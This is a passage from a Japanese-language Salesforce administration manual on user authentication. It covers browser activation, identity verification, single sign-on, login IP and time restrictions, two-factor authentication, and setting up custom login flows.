• 手動でブラウザの Cookie をクリアしたか、Cookie を削除するようにブラウザを設定したか、ブラウザが非公

開またはシークレットモードである
• ID 検証ページで [次回からは確認しない] を選択解除する
[設定] の [有効化] ページには、ユーザが ID の検証に使用したデバイスのログイン IP アドレスとクライアントブ
ラウザ情報が表示されます。1 人のユーザ、複数のユーザ、またはすべてのユーザのブラウザ有効化状況を取
り消すことができます。
たとえば、ユーザが紛失したデバイスを報告し、新しいデバイスを発行します。紛失したデバイスのブラウザ
有効化状況を取り消して、何者かがそのデバイスから組織にアクセスしようとしたら ID 検証が要求されるよ
うにすることができます。この ID 検証により、ユーザの生産性を確保しながら、セキュリティ層を追加でき
ます。
ユーザは各自の [有効化] ページを表示して、ログイン IP アドレスとクライアントブラウザ情報を確認できま
す。エンドユーザは、有効化された自分のブラウザの有効化状況のみを取り消すことができます。
たとえば、ユーザが組織にログインします。ユーザの [有効化] ページでは、複数の異なるブラウザが有効化さ
れていますが、ユーザは作業ラップトップの 1 つのブラウザからしかログインしていません。ユーザはすぐ
に、見覚えのないブラウザの有効化状況を取り消します。このユーザには、SMS 経由でユーザのモバイルデバ
イスに送信されるコードを使用した ID 検証が求められるため、他の誰かが無効化されたいずれかのブラウザ
からログインしようとしても、テキスト送信される確認コードを取得できません。このコードがないと、ハッ
カーが ID 検証に失敗します。その時点で、ユーザは、セキュリティ違反の可能性を報告できます。
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有効化の使用
ユーザの有効化を表示して、有効化状況を取り消し、セキュリティ違反を防止します。

関連トピック:

有効化の使用
ID 検証履歴

有効化の使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザの有効化を表示して、有効化状況を取り消し、セキュリティ違反を防止
します。
ユーザが ID の検証に使用したデバイスに関するログイン IP およびブラウザ情報
を確認するには、[設定] から、[クイック検索]ボックスに「有効化」と入力し、
[有効化] を選択します。
有効化状況を取り消すには、[有効化されたクライアントブラウザ] リストで 1 つ
以上のエントリを選択し、[削除]をクリックして操作を確認します。ユーザは、
有効化された自分のブラウザのみを表示および取り消すことができます。ユー
ザが無効化されたブラウザからログインすると、ログイン IP アドレスが信頼で
きる IP 範囲内でない限り、ID の検証が要求されます。

メモ: ユーザが ID 検証ページに表示された [次回からは確認しない]オプションを選択解除すると、ブラウ
ザは有効化されません。公開または共有デバイスからログインするときは常にこのオプションを選択解
除することをユーザに推奨してください。

関連トピック:

有効化
ID 検証履歴

ユーザの認証
認証とは、各ログインユーザが本人であることを確認して、組織またはそのデータへの不正なアクセスを防ぐ
ことです。

ユーザ認証の要素
Salesforce では、ユーザを認証するさまざまな方法を用意しています。組織のニーズやユーザの使用パター
ンに合わせて各方法を組み合わせた認証方式を構築します。
ユーザ認証の設定
ユーザが本人であることを確認するためのログイン設定を選択します。
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ユーザ認証の要素
Salesforce では、ユーザを認証するさまざまな方法を用意しています。組織のニーズやユーザの使用パターンに
合わせて各方法を組み合わせた認証方式を構築します。

シングルサインオン
Salesforce には、ユーザ認証の独自のシステムがありますが、会社によっては、既存のシングルサインオン
機能を使用してユーザ認証を簡略化し、標準化したい場合があります。
ネットワークベースのセキュリティ
ネットワークベースのセキュリティは、ユーザがログインできる場所と時間を制限します。この機能は、
ログイン可能なユーザを判別するだけのユーザ認証とは異なります。ネットワークベースのセキュリティ
を使用すると、攻撃者による攻撃の機会が制限され、また攻撃者が盗まれたログイン情報を使用すること
が困難になります。
データエクスポート向け CAPTCHA セキュリティ
Salesforce では要望に応じて、ユーザが Salesforce からデータをエクスポートするときに、簡単なテキスト入
力型のユーザ認証テストを要求することができます。こうしたネットワークベースのセキュリティによっ
て、悪意のあるユーザによる組織のデータへのアクセスを阻止し、自動化攻撃のリスクを軽減することが
できます。
ユーザが Salesforce にログインできる範囲と時間帯の制限
ユーザが Salesforce にログインできる時間帯と、ログインおよびアクセスできる IP アドレスの範囲を制限で
きます。IP アドレスの制限はユーザのプロファイルおよび不明な IP アドレスからのログインに対して定義
され、Salesforce によってログインが拒否されます。この制限は、未承認のアクセスおよびフィッシング攻
撃からデータを保護するのに役立ちます。
2 要素認証
Salesforceシステム管理者は、すべてのユーザログインで第 2 レベルの認証を必須にすることで組織のセキュ
リティを強化できます。また、レポートの表示や接続アプリケーションへのアクセスの試行など、ユーザ
が特定の条件を満たした場合に 2 要素認証を必須にすることもできます。
カスタムログインフロー
ログインフローを使用すると、システム管理者は、実務に合った認証後のプロセスを構築し、フローをユー
ザプロファイルに関連付け、ログイン時にそのフロー経由でユーザに送信できます。ログインフローを使
用して、ユーザの登録情報の収集、サービス利用規約受諾フォームの提供、ユーザに対する認証の第 2 要
素の要求およびその他のカスタマイズを行います。

関連トピック:

シングルサインオン
ネットワークベースのセキュリティ
データエクスポート向け CAPTCHA セキュリティ
ユーザセッション
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シングルサインオン
Salesforceには、ユーザ認証の独自のシステムがありますが、会社によっては、既存のシングルサインオン機能
を使用してユーザ認証を簡略化し、標準化したい場合があります。
シングルサインオンの実装には 2 つのオプションがあります。Security Assertion Markup Language (SAML) を使用す
る統合認証または代理認証です。
• Security Assertion Markup Language (SAML) を使用する統合認証を使用すると、関連付けられているが関連のない

Web サービス間で認証データを送信することができます。クライアントアプリケーションから Salesforce に
ログインできます。Salesforce では、自動的に組織の統合認証が有効になります。

• 代理認証の SSO を使用すると、Salesforceと選択した認証メソッドを統合することができます。これにより、
LDAP (Lightweight Directory Access Protocol) サーバによる認証を統合するか、認証にパスワードの変わりにトー
クンを使用することができます。代理認証は組織レベルではなく権限レベルで管理するため、柔軟性がよ
り高くなります。権限を使用すれば、一部のユーザには代理認証を義務付け、その他のユーザは Salesforce

によって管理されるパスワードを使用するようにできます。
代理認証には次の利点があります。
– 安全な ID プロバイダとのインテグレーションなど、より厳密なユーザ認証を使用できる
– ログインページを非公開にし、企業ファイアウォールの内側からのみアクセスできるようにする
– フィッシング攻撃を減らすために、Salesforce を使用する他のすべての企業と差別化できる
代理認証を組織で設定する前に、Salesforce に連絡して代理認証を有効にする必要があります。

• 認証プロバイダは外部サービスプロバイダのログイン情報を使用して、Salesforce 組織にユーザがログイン
できるようにします。Salesforce では、OpenID Connect プロトコルがサポートされており、ユーザは任意の
OpenID Connect プロバイダ (Google、PayPal、LinkedIn など) からログインできます。認証プロバイダが有効化さ
れている場合、Salesforce はユーザのパスワードを検証しません。代わりに、Salesforce は外部サービスプロ
バイダのユーザログイン情報を使用して、認証情報を設定します。

ID プロバイダ
ID プロバイダは、ユーザがシングルサインオンを使用して他の Web サイトにアクセスできるようにする信頼済
みプロバイダです。サービスプロバイダは、アプリケーションをホストする Web サイトです。Salesforce を ID

プロバイダとして有効にして、1 つ以上のサービスプロバイダを定義できます。ユーザは、シングルサインオ
ンを使用して Salesforce から他のアプリケーションに直接アクセスできます。シングルサインオンを使用する
と、いくつものパスワードを覚える必要がなく、1 つだけ覚えておけばよいため、ユーザは非常に助かりま
す。さらに、アプリケーションをタブとしてSalesforce組織に追加できるため、ユーザはプログラムを切り替え
る必要がなくなります。
詳細は、Salesforce オンラインヘルプの「ID プロバイダとサービスプロバイダ」を参照してください。

関連トピック:

ユーザ認証の要素
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ネットワークベースのセキュリティ
ネットワークベースのセキュリティは、ユーザがログインできる場所と時間を制限します。この機能は、ログ
イン可能なユーザを判別するだけのユーザ認証とは異なります。ネットワークベースのセキュリティを使用す
ると、攻撃者による攻撃の機会が制限され、また攻撃者が盗まれたログイン情報を使用することが困難になり
ます。

関連トピック:

ユーザ認証の要素

データエクスポート向け CAPTCHA セキュリティ
Salesforceでは要望に応じて、ユーザがSalesforceからデータをエクスポートするときに、簡単なテキスト入力型
のユーザ認証テストを要求することができます。こうしたネットワークベースのセキュリティによって、悪意
のあるユーザによる組織のデータへのアクセスを阻止し、自動化攻撃のリスクを軽減することができます。
このテストにパスするには、表示される 2 語をテキストボックス項目に入力し、[送信] ボタンをクリックする
必要があります。Salesforceは、reCaptchaが提供する CAPTCHA テクノロジを使用して、自動プログラムではなく
本人がテキストを正確に入力したことを確認します。CAPTCHA は、「Completely Automated Public Turing Test To Tell

Computers and Humans Apart」(コンピュータと人間を区別する完全に自動化された公開チューリングテスト) の頭
文字です。

関連トピック:

ユーザ認証の要素

ユーザが Salesforce にログインできる範囲と時間帯の制限
ユーザが Salesforce にログインできる時間帯と、ログインおよびアクセスできる IP アドレスの範囲を制限でき
ます。IP アドレスの制限はユーザのプロファイルおよび不明な IP アドレスからのログインに対して定義され、
Salesforceによってログインが拒否されます。この制限は、未承認のアクセスおよびフィッシング攻撃からデー
タを保護するのに役立ちます。

ログイン時間帯の制限
プロファイルごとに、ユーザがログインできる時間帯を設定できます。次のトピックを参照してください。
• 拡張プロファイルユーザインターフェースでのログイン時間帯の表示と編集
• 元のプロファイルユーザインターフェースでのログイン時間帯の表示と編集

ユーザインターフェースログインの 2 要素認証
プロファイルごとに、ユーザインターフェースを使用してログインするときに 2 つ目の認証方法を使用するよ
うユーザに要求できます。「2 要素認証ログイン要件の設定」 (ページ1012)および「シングルサインオン、ソー
シャルサインオン、コミュニティに対する 2 要素認証ログイン要件およびカスタムポリシーの設定」を参照し
てください。
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API ログインの 2 要素認証
プロファイルごとに、標準のセキュリティトークンではなく、確認コード (時間ベースのワンタイムパスワー
ドまたは TOTP ともいう) を要求できます。ユーザは、確認コードを生成する認証アプリケーションを各自のア
カウントに接続します。「API ログインの 2 要素認証」権限があるユーザは、アカウントのパスワードのリセッ
ト時など要求されたときは常に標準のセキュリティトークンではなくコードを使用します。「API アクセスの
2 要素認証ログイン要件の設定」 (ページ 1016)を参照してください。

ログイン IP アドレス範囲の制限
Enterprise Edition、Performance Edition、Unlimited Edition、Developer Edition、およびDatabase.com Edition の場合、ユーザ
がどのアドレス範囲からログインできるかを指定する [ログイン IP アドレスの制限] のアドレスを個々のプロ
ファイルに設定できます。プロファイルに設定された [ログイン IP アドレスの制限] 以外のアドレスからログイ
ンしたユーザは Salesforce 組織にアクセスできません。
Contact Manager Edition、Group Edition、および Professional Edition の場合、[ログイン IP アドレスの制限] を設定しま
す。[設定] から、[クイック検索] ボックスに「セッションの設定」と入力し、[セッションの設定] を選択しま
す。

すべてのアクセス要求に対するログイン IP アドレス範囲の適用
Salesforceへのすべてのアクセスを、ユーザプロファイルの [ログイン IP アドレスの制限] に含まれている IP アド
レスに制限することができます。たとえば、[ログイン IP アドレスの制限] で定義された IP アドレスからユーザ
が正常にログインしたとします。その後で、[ログイン IP アドレスの制限] に含まれない新しい IP アドレスを持
つ異なる場所に移動します。ユーザがブラウザを更新するか、クライアントアプリケーションからのアクセス
も含め Salesforceにアクセスしようとすると、拒否されます。このオプションを有効にするには、[設定] から、
[クイック検索]ボックスに「セッションの設定」と入力し、[セッションの設定]を選択して、[すべての要求で
ログイン IP アドレスの制限を適用] を選択します。このオプションは、ログイン IP アドレスが制限されたすべ
てのユーザプロファイルに影響します。

組織全体の信頼できる IP アドレス範囲
すべてのユーザについて、ユーザがログインの問題が発生することなく常にログインできる IP アドレス範囲の
リストを設定できます。これらのユーザは、追加の確認情報を提供した後で組織にログインできます。「組織
の信頼済み IP 範囲の設定」を参照してください。
ユーザがユーザインターフェース、API、またはSalesforce for Outlook、Connect Offline、Connect for Office、データロー
ダなどのデスクトップクライアントを使用してSalesforceにログインした場合は、Salesforceがそのログインが正
当かどうかを次の方法で確認します。
1. Salesforceは、ユーザのプロファイルにログイン時間帯の制限が設定されているかどうかを確認します。ユー

ザのプロファイルにログイン時間帯の制限が設定されている場合、指定された時間帯以外のログインは拒
否されます。

2. ユーザに「ユーザインターフェースログインの 2 要素認証」権限がある場合は、ログイン時に Salesforce が
2 つ目の認証を行うようユーザに求めます。ユーザのアカウントが Salesforce Authenticator などのモバイル認
証アプリケーションにまだ接続されていない場合は、Salesforce がユーザにまずアプリケーションに接続す
るよう求めます。
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3. ユーザに「API ログインの 2 要素認証」権限があり、認証アプリケーションをアカウントに接続済みの場合
は、ユーザが標準のセキュリティトークンを使用すると、Salesforce がエラーを返します。ユーザは、標準
のセキュリティトークンではなく、認証アプリケーションで生成された確認コード (時間ベースのワンタイ
ムパスワード) を入力する必要があります。

4. Salesforceは次に、ユーザのプロファイルに IP アドレスの制限が設定されているかどうかを確認します。ユー
ザのプロファイルに IP アドレスの制限が設定されている場合、指定された IP アドレス以外の IP アドレスか
らのログインは拒否されます。[すべての要求でログイン IP アドレスの制限を適用] セッション設定が有効
になっている場合、クライアントアプリケーションからの要求も含め、ページ要求ごとに IP アドレス制限
が適用されます。

5. プロファイルベースの IP アドレス制限が設定されていない場合は、過去に Salesforce へのアクセスに使用さ
れたデバイスからユーザがログインしているかどうかを確認します。
• Salesforceが認識するデバイスやブラウザからユーザがログインしている場合は、ログインが許可されま

す。
• 信頼できる IP アドレスのリストに含まれる IP アドレスからのログインであれば、ログインは許可されま

す。
• 信頼できる IP アドレスからのログインでも、Salesforceが認識するデバイスやブラウザからのログインで

もない場合は、ログインがブロックされます。

ログインがブロックされるか、API ログインの失敗エラーが返された場合は、Salesforce がユーザの ID を検証す
る必要があります。
• ユーザインターフェースを使用してアクセスする場合は、Salesforce Authenticator (バージョン 2 以降) を使用し

て検証するか、確認コードを入力するようユーザに求められます。

メモ: ユーザが Salesforce に初めてログインするときは、確認コードを要求されません。

• API またはクライアントを使用してアクセスする場合は、ユーザがログインパスワードの末尾にセキュリ
ティトークンを追加する必要があります。また、ユーザプロファイルに「API ログインの 2 要素認証」が設
定されている場合は、ユーザが認証アプリケーションで生成された確認コードを入力します。
セキュリティトークンは Salesforce から自動生成されるキーです。たとえば、パスワードが mypassword

で、セキュリティトークンが XXXXXXXXXXの場合は、ログイン時に「mypasswordXXXXXXXXXX」と入力す
る必要があります。また、クライアントアプリケーションによっては、別個にセキュリティトークン用の
項目があります。
セキュリティトークンを取得するには、Salesforce ユーザインターフェースを通じてパスワードを変更する
か、セキュリティトークンをリセットします。ユーザがパスワードを変更するか、セキュリティトークン
をリセットすると、Salesforce がユーザの Salesforce レコードのメールアドレス宛に新しいセキュリティトー
クンを送信します。セキュリティトークンは、ユーザがセキュリティトークンをリセットするか、パスワー
ドを変更するか、またはパスワードがリセットされるまで有効です。

ヒント: 新しい IP アドレスから Salesforceにアクセスする前に、[私のセキュリティトークンのリセット]

を使用して信頼できるネットワークからセキュリティトークンを取得しておくことをお勧めします。

ログイン制限の設定に関するヒント
ログイン制限を設定するときには、次の点を考慮してください。
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• ユーザのパスワードが変更されると、セキュリティトークンがリセットされます。APIまたはクライアント
を使用してログインする場合は、自動生成されるセキュリティトークンをユーザがパスワードの末尾に追
加するまで、ログインがブロックされる場合があります。

• パートナーポータルとカスタマーポータルのユーザは、ログインを行うためにブラウザをアクティベート
する必要はありません。

• 次のイベントは、組織のログインロックアウト設定で定義されているとおり、Salesforce からロックアウト
されるまでの無効なパスワードによるログイン試行回数のカウントの対象となります。
– ユーザに ID 検証が求められた場合
– API またはクライアントを使用して Salesforce にログインするためにパスワードの末尾に追加したセキュ

リティトークンまたは確認コードが正しくなかった場合

拡張プロファイルユーザインターフェースでのログイン IP アドレスの制限
ユーザのプロファイルで許可される IP アドレス範囲を指定することによって、ユーザレベルでログインア
クセスを制御します。プロファイルに IP アドレス制限を定義すると、その他のすべての IP アドレスからの
ログインは拒否されます。
元のプロファイルユーザインターフェースでのログイン IP アドレスの制限
ユーザのプロファイルで許可される IP アドレス範囲を指定することによって、ユーザレベルでログインア
クセスを制御します。プロファイルに IP アドレス制限を定義すると、その他のすべての IP アドレスからの
ログインは拒否されます。
拡張プロファイルユーザインターフェースでのログイン時間帯の表示と編集
プロファイルごとにユーザがログインできる時間帯を指定できます。
元のプロファイルユーザインターフェースでのログイン時間帯の表示と編集
ユーザプロファイルに基づいてユーザがログインできる時間帯を指定します。
組織の信頼済み IP 範囲の設定
信頼済み IP 範囲で、携帯電話に送信されるコードなど、ID を確認するためのログインの問題が発生するこ
となくユーザがログインできる、IP アドレスのリストが定義されます。

2 要素認証

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Contact Manager Edition

Salesforceシステム管理者は、すべてのユーザログインで第 2 レベルの認証を必須
にすることで組織のセキュリティを強化できます。また、レポートの表示や接
続アプリケーションへのアクセスの試行など、ユーザが特定の条件を満たした
場合に 2 要素認証を必須にすることもできます。

Salesforce ID 検証
信頼できる IP 範囲以外からユーザがログインし、認識されていないブラウザま
たはアプリケーションを使用する場合、ユーザは ID を検証するように求められ
ます。ユーザごとに使用可能な最も優先度の高い検証方法が使用されます。検
証方法の優先順序は次のとおりです。
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1. ユーザのアカウントに接続された Salesforce Authenticator モバイルアプリケーション (バージョン 2 以降) によ
る転送通知経由の検証またはロケーションベースの自動検証。

2. ユーザのアカウントに登録された U2F セキュリティキー経由の検証。
3. ユーザのアカウントに接続されたモバイル認証アプリケーションによって生成される確認コード。
4. ユーザの検証済み携帯電話に SMS で送信される確認コード。
5. ユーザのメールアドレスにメールで送信される確認コード。
ID 検証が成功すると、ユーザは次の場合を除き、そのブラウザまたはアプリケーションから ID を再度検証す
る必要がなくなります。
• 手動でブラウザの Cookie をクリアしたか、Cookie を削除するようにブラウザを設定したか、ブラウザが非公

開またはシークレットモードである
• ID 検証ページで [次回からは確認しない] を選択解除する

2 要素認証を要求する組織ポリシー
すべてのログイン、API を介したすべてのログイン (開発者およびクライアントアプリケーションの場合)、ま
たは特定の機能へのアクセスで、第 2 レベルの認証を要求するポリシーを設定できます。ユーザは、Salesforce

Authenticator アプリケーションや Google Authenticator アプリケーションなどのモバイル認証アプリケーションを
モバイルデバイスにダウンロードしてインストールすることで、2 番目の要素を用意できます。また、U2F セ
キュリティキーを 2 番目の要素として使用することもできます。Salesforceで認証アプリケーションを接続する
か、セキュリティキーをアカウントに登録したら、組織のポリシーで 2 要素認証が求められる場合は常にこの
アプリケーションかセキュリティキーを使用します。
Salesforceアカウントのアクティビティで ID 検証が求められると、Salesforce Authenticator モバイルアプリケーショ
ン (バージョン 2 以降) からユーザのモバイルデバイスに転送通知が送信されます。ユーザはモバイルデバイス
で応答し、アクティビティを検証またはブロックします。ユーザは、アプリケーションのロケーションサービ
スを有効にして、自宅やオフィスなどの信頼できる場所からの検証を自動化できます。Salesforce Authenticator で
は、確認コード (「時間ベースのワンタイムパスワード」(TOTP) と呼ばれることもある) も生成されます。ユー
ザは、2 要素検証のアプリケーションからの転送通知に応答する代わりに、パスワードとコードを入力するこ
とを選択できます。または、別の認証アプリケーションから確認コードを取得することもできます。
2 要素認証に通常使用しているデバイスを紛失したか、忘れたユーザのために、仮の確認コードを生成できま
す。コードの有効期限が生成後 1 ～ 24 時間後に切れるように設定します。コードは有効期限まで繰り返し使
用できます。ユーザが使用できる仮のコードは一度に 1 つのみです。以前のコードがまだ有効な間にユーザが
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新しいコードを必要とする場合は、以前のコードを期限切れにして新しいコードを生成できます。ユーザは、
個人設定で自分の有効なコードを期限切れにできます。

関連トピック:

2 要素認証ログイン要件の設定
ID の検証方法
ユーザが Salesforce にログインできる範囲と時間帯の制限
カスタムログインフロー
ID 検証のためのアカウントへの Salesforce Authenticator (バージョン 2 以降) の接続
ワンタイムパスワードジェネレータアプリケーションまたはデバイスによる ID の検証
ユーザのアカウントからの Salesforce Authenticator (バージョン 2 以降) の切断
ユーザのワンタイムパスワードジェネレータアプリケーションの切断
仮の ID 確認コードの生成
仮の確認コードの期限切れ
2 要素認証の管理任務の委任
ID 検証履歴

カスタムログインフロー

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ログインフローを使用すると、システム管理者は、実務に合った認証後のプロ
セスを構築し、フローをユーザプロファイルに関連付け、ログイン時にそのフ
ロー経由でユーザに送信できます。ログインフローを使用して、ユーザの登録
情報の収集、サービス利用規約受諾フォームの提供、ユーザに対する認証の第
2 要素の要求およびその他のカスタマイズを行います。
Flow Designer を使用してログインフローを作成し、作成したフローを組織の特定
のプロファイルに関連付けます。同じフローを複数のプロファイルに接続でき
ます。プロファイルに関連付けられたユーザは、認証後、組織のコンテンツに
移動する前に、ログインフローに移動します。ログインフロー画面は、ユーザ
のログイン環境を統合するために、Salesforce の標準ログインページ内に埋め込
まれています。
ログインフローは、ユーザ名とパスワード、代理認証、SAML シングルサインオン、およびサードパーティ認
証プロバイダ経由のソーシャルサインオンなどの、すべての Salesforce ユーザインターフェース認証方式をサ
ポートします。ログインフローは、Salesforce 組織、コミュニティ、およびポータルに適用できます。

メモ:  API ログインに対して、またはセッションが非 UI のログインプロセスから frontdoor.jsp 経由で
UI に渡された場合は、ログインフローを適用できません。種別が [フロー] のフローのみサポートされま
す。

ログインフローの作成
Cloud Flow Designer を使用してログインフロープロセスを作成し、完成したフローをプロファイルに関連付
けます。
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プロファイルへのログインフローの接続
Flow Designer でログインフローを作成し、フローを有効化した後に、ログインフローを組織のプロファイル
に関連付けます。その後、そのプロファイルを持つユーザは、ログインフローに移動されます。

関連トピック:

Cloud Flow Designer

ログインフローの作成

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

Cloud Flow Designerを使用してログインフロープロセスを作成し、完成したフロー
をプロファイルに関連付けます。
ユーザのプロファイルがログインフローに関連付けられていると、認証プロセ
スの一環としてユーザがログインフローに移動されます。ログインフロー画面
は、Salesforceの標準ログインページに埋め込まれます。認証プロセスの間、ユー
ザはログインフロー画面へのアクセスが制限されます。認証に成功し、ログイ
ンフローが完了すると、ユーザが組織にリダイレクトされます。そうでない場
合にアクセスを拒否するため、明示的なアクションをフロー内に定義できます。
たとえば、システム管理者はカスタム 2 要素認証プロセスを実装して目的のセ
キュリティレイヤを追加するログインフローを作成できます。このようなフロー
では、Apex メソッドを使用して、セッションコンテキストの取得、ユーザの IP

アドレスの抽出、信頼済み IP 範囲からの要求であるかどうかの確認が行われま
す信頼済み IP 範囲を検索または設定するには、[設定] から、[クイック検索]ボッ
クスに「ネットワークアクセス」と入力し、[ネットワークアクセス] を選択しま
す。信頼済み IP 範囲内からの要求である場合は、フローがスキップされ、ユー
ザが組織にログインします。そうでない場合は、Salesforce により次のいずれか
のオプションを提供するフローが呼び出されます。
1. 時間ベースのワンタイムパスワード (TOTP) などの追加ログイン情報を使用し

てログインするようユーザに指示する。
2. ユーザを強制的にログアウトする。
3. その他のオプションを含むページにユーザを移動する。
また、その他の情報を収集するフォームや追加情報をユーザに提供するページなど、カスタマイズされたペー
ジにユーザを移動するログインフローも作成できます。

独自のログインフローの構築
独自のログインフローを構築するには、次のプロセスに従います。
1. Flow Designer および Apex を使用して新しいフローを作成します。

たとえば、ユーザが会社の信頼済み IP 範囲外からログインしている場合のみ認証の第 2 要素を必要とする
カスタム IP ベースの 2 要素認証フローを設計できます信頼済み IP 範囲を検索または設定するには、[設定]

から、[クイック検索]ボックスに「ネットワークアクセス」と入力し、[ネットワークアクセス]を選択しま
す。
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メモ: ユーザプロファイルで直接ログイン IP 範囲を設定しないでください。プロファイルで直接ログ
イン IP 範囲を設定すると、その範囲外のユーザによる組織へのアクセスが完全に制限され、それらの
ユーザはログインフロープロセスを開始できません。

フローには次の内容が含まれます。
a. (Process.Plugin) から実装し、タイムベースのワンタイムパスワード (TOTP) 方式およびサービスにア

クセスするために Auth.SessionManagementクラスを使用するApexプラグインを定義する新しいApex

クラス。Salesforce によって生成された TOTP に対して、ユーザによって提供される TOTP を検証するため
に、プラグインの新しい Apex クラスは、クイックレスポンス (QR) コードを使用して時間ベースのキー
を生成します。

b. QR コードをスキャンするための画面要素。
c. トークンが有効な場合およびトークンが無効な場合に処理するための決定要素。
フロー内で、入力変数を設定できます。指定された次の名前を使用する場合、開始時のフローに次の値が
入力されます。

値の説明名前

ログイン種別 (Application、OAuth、SAML など)。LoginFlow_LoginType

ユーザの現在の IP アドレスLoginFlow_IpAddress

認証後に変更可能な、ログイン中に使用されるユー
ザの IP アドレス

LoginFlow_LoginIpAddress

ユーザのブラウザによって提供されるユーザエー
ジェント文字列

LoginFlow_UserAgent

ユーザのオペレーティングシステムLoginFlow_Platform

認証を要求するために使用されるアプリケーションLoginFlow_Application

このログインフローがコミュニティに適用される場
合の現在のコミュニティ

LoginFlow_Community

現在のセッションセキュリティレベル、標準または
高保証

LoginFlow_SessionLevel

ユーザの 18 文字の IDLoginFlow_UserId

フロー内で、特定の動作に対して次の定義済みの変数値を割り当てることができます。

メモ: これらの値は、UI 画面が更新された後にのみフローに読み込まれます (ユーザによるボタンのク
リックでは値は読み込まれません。値が読み込まれるには、新しい画面がフローに追加される必要が
あります)。

値の説明名前

テキスト値。ログインフローの完了後のユーザの移
動先を定義する文字列を指定します。文字列は有効

LoginFlow_FinishLocation

978

ユーザの認証Salesforce 組織の設定および管理



値の説明名前

な Salesforce URL (ユーザが組織を離れることなくフ
ロー内にとどまる) または相対パスで指定する必要
があります。

Boolean 値。ユーザを直ちにログアウトし、そのユー
ザのフローを強制的に終了する場合はこの変数を
true に設定します。

LoginFlow_ForceLogout

2. フローを保存します。
3. フローを有効化します。
4. ログインフローをプロファイルに接続します。

関連トピック:

カスタムログインフロー
https://developer.salesforce.com/page/Login-Flows

プロファイルへのログインフローの接続
Cloud Flow Designer

プロファイルへのログインフローの接続

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Flow Designer でログインフローを作成し、フローを有効化した後に、ログインフ
ローを組織のプロファイルに関連付けます。その後、そのプロファイルを持つ
ユーザは、ログインフローに移動されます。
1. [設定] から、[クイック検索] ボックスに「ログインフロー」と入力し、[ログ

インフロー] を選択します。
2. [新規] をクリックします。
3. ログインフローの関連付けを編集または削除する場合に参照するための名前

を入力します。名前は一意である必要はありません。
4. プロファイルのログインフローを選択します。ドロップダウンリストには、

Flow Designer に保存された使用可能なすべてのフローが含まれます。種別が
[フロー] の有効なフローのみサポートされます。

5. フローを接続するプロファイルのユーザライセンスを選択します。その後、そのライセンスのあるプロファ
イルがプロファイルリストに表示されます。

6. ログインフローに接続するプロファイルを選択します。
7. [保存] をクリックします。

このプロファイルのユーザは、ログインフローに移動するようになります。

ログインフローを関連付けたら、このログインフローページに表示されるフローを編集または削除できます。
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1 つのログインフローは 1 つ以上のプロファイルに関連付けることができます。ただし、1 つのプロファイル
は複数のログインフローに接続することはできません。

関連トピック:

カスタムログインフロー
ログインフローの作成
Cloud Flow Designer

ユーザ認証の設定
ユーザが本人であることを確認するためのログイン設定を選択します。

ユーザが Salesforce にログインできる範囲と時間帯の制限
ユーザが Salesforce にログインできる時間帯と、ログインおよびアクセスできる IP アドレスの範囲を制限で
きます。IP アドレスの制限はユーザのプロファイルおよび不明な IP アドレスからのログインに対して定義
され、Salesforce によってログインが拒否されます。この制限は、未承認のアクセスおよびフィッシング攻
撃からデータを保護するのに役立ちます。
パスワードポリシーの設定
パスワード保護を実装して Salesforce 組織のセキュリティを強化します。パスワード履歴、パスワード長、
パスワード文字列の制限やその他の値を設定できます。また、ユーザがパスワードを忘れた場合の操作も
指定できます。
すべてのユーザのパスワードのリセット
システム管理者は、組織のセキュリティを強化するために、すべてのユーザのパスワードをいつでもリセッ
トができます。パスワードのリセット後、すべてのユーザは次回ログインするときにパスワードをリセッ
トするように求められます。
セッションセキュリティ設定の変更
セッションセキュリティ設定を変更して、セッション接続タイプ、タイムアウト設定、IP アドレス範囲を
指定し、悪意のある攻撃などから保護できます。
Lightning Login の有効化によるパスワードを使用しないログイン
脆弱なパスワード、パスワードの紛失、アカウントロックアウトの問題がなくなります。パスワードを使
用しないログインによってユーザの速度、利便性が向上し、セキュリティが強化されます。Lightning Login

を有効化し、必要な権限をユーザに割り当てて、ユーザに Lightning Login に個別に登録するよう促します。
ログインフローの作成
Cloud Flow Designer を使用してログインフロープロセスを作成し、完成したフローをプロファイルに関連付
けます。
プロファイルへのログインフローの接続
Flow Designer でログインフローを作成し、フローを有効化した後に、ログインフローを組織のプロファイル
に関連付けます。その後、そのプロファイルを持つユーザは、ログインフローに移動されます。
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2 要素認証の設定
システム管理者は、権限またはプロファイル設定を使用して 2 要素認証を有効化します。ユーザは、モバ
イル認証アプリケーションや U2F セキュリティキーなどの 2 要素認証の対象となるデバイスを各自の個人
設定で登録します。

ユーザが Salesforce にログインできる範囲と時間帯の制限
ユーザが Salesforce にログインできる時間帯と、ログインおよびアクセスできる IP アドレスの範囲を制限でき
ます。IP アドレスの制限はユーザのプロファイルおよび不明な IP アドレスからのログインに対して定義され、
Salesforceによってログインが拒否されます。この制限は、未承認のアクセスおよびフィッシング攻撃からデー
タを保護するのに役立ちます。

ログイン時間帯の制限
プロファイルごとに、ユーザがログインできる時間帯を設定できます。次のトピックを参照してください。
• 拡張プロファイルユーザインターフェースでのログイン時間帯の表示と編集
• 元のプロファイルユーザインターフェースでのログイン時間帯の表示と編集

ユーザインターフェースログインの 2 要素認証
プロファイルごとに、ユーザインターフェースを使用してログインするときに 2 つ目の認証方法を使用するよ
うユーザに要求できます。「2 要素認証ログイン要件の設定」 (ページ1012)および「シングルサインオン、ソー
シャルサインオン、コミュニティに対する 2 要素認証ログイン要件およびカスタムポリシーの設定」を参照し
てください。

API ログインの 2 要素認証
プロファイルごとに、標準のセキュリティトークンではなく、確認コード (時間ベースのワンタイムパスワー
ドまたは TOTP ともいう) を要求できます。ユーザは、確認コードを生成する認証アプリケーションを各自のア
